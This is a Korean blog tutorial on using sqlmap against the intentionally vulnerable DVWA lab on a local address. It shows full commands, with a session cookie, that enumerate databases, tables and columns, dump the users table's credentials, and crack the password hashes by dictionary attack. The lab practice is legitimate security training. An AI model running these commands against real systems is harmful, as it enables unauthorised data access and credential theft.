반응형

출처:http://lureout.tistory.com/60

https://brunch.co.kr/@leesmain/8

https://brunch.co.kr/@leesmain/9


ali의 sqlmap을 사용해보자



(취약점 있는 사이트 주소)


(sql injection (blind) 메뉴에서 submit을 한번 이라도 눌러야지 id= 이라는 url이 추가 된다)


그리고 DVWA를 이용하기 위해 admin / password 로 로그인 했기 때문에


로그인 없이 접근을 못한다


그렇기 때문에 sqlmap을 사용할때 쿠키값을 같이 써줘야한다



나는 chrome의 앱중 Edit ThisCooke라는 것을 사용하지만


쿠키값을 볼 수 있는 방법은 여러가지다



Kali로 와서



sqlmap -h 와 sqlmap -hh (자세한 도움말)를 입력해서 도움말을 볼수 있다


sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9"


이런식으로 자신의 쿠키값을 넣어주자


-p "id"는 취약점이 있는 변수 값을 써주면 되는데 생략해도 된다


--dbs 옵션으로 db리스트를 볼수 있을 것이다



사용하고 있는 운영체제(OS)와 PHP버전 Apache 버전


데이타베이스 정보까지 볼수 있었고


available databases [7]:


[*] dvwa

[*] information_schema


등등 여러개의 데이타베이스를 찾은것을 볼수 있다


어떤 데이타베이스가 있는지 알아냈으니 이제


sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa"


아까 명령어에서 --tables -D "데이타베이스명" 을 추가하여 보자



아까 결과에서 추가로 데이타베이스 dvwa의 tables를 볼수 있게 되었다


이젠 바로 전 명령어에서 추가로 --columns -T "테이블명" 을 추가해보자


sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa" --columns -T "users"



테이블 정보에서 이제 칼럼들의 정보를 볼수 있었다


이제 마지막으로 


-C 옵션과 --dump 옵션을 추가하자


sqlmap -u "http://192.168.0.11/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" -p "id" --dbs --cookie="security=low; PHPSESSID=532241126619564c18e1b1c628e09aa9" --tables -D "dvwa" --columns -T "users" -C "users,password" --dump




dvwa 데이타베이스에 저장되어있는 users 테이블의 user정보와 password 정보를 볼수 있었고


password가 암호화되어있는지만


do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

-> 디폴트 값으로 N (엔터)

do you want to crack them via a dictionary-based attack? [Y/n/q]

(사전 기반 공격으로 크랙할꺼냐)

-> 디폴트 값으로 Y (엔터)

what dictionary do you want to use?

(사전 뭘쓸껀지)

[1]

[2]

[3]

-> 디폴트 값으로 1 (엔터)

do you want to use common password suffixes? (slow!) [y/N]

(접미사 쓸꺼냐)

-> 디폴트 값으로 N (엔터)


사전에 기록되어있는 password는 크랙되어


암호화되기전 패스워드를 알아낼 수 있다


--dump 옵션으로 


/usr/share/sqlmap/output/192.168.0.11(주소)/dump/dvwa/users.csv 에가면 방금


얻은 user,password의 정보가 담겨져있고



/usr/share/sqlmap/output/192.168.0.11(주소)/log에는


지금까지 해온 모든 결과가 기록 되어있다


반응형

+ Recent posts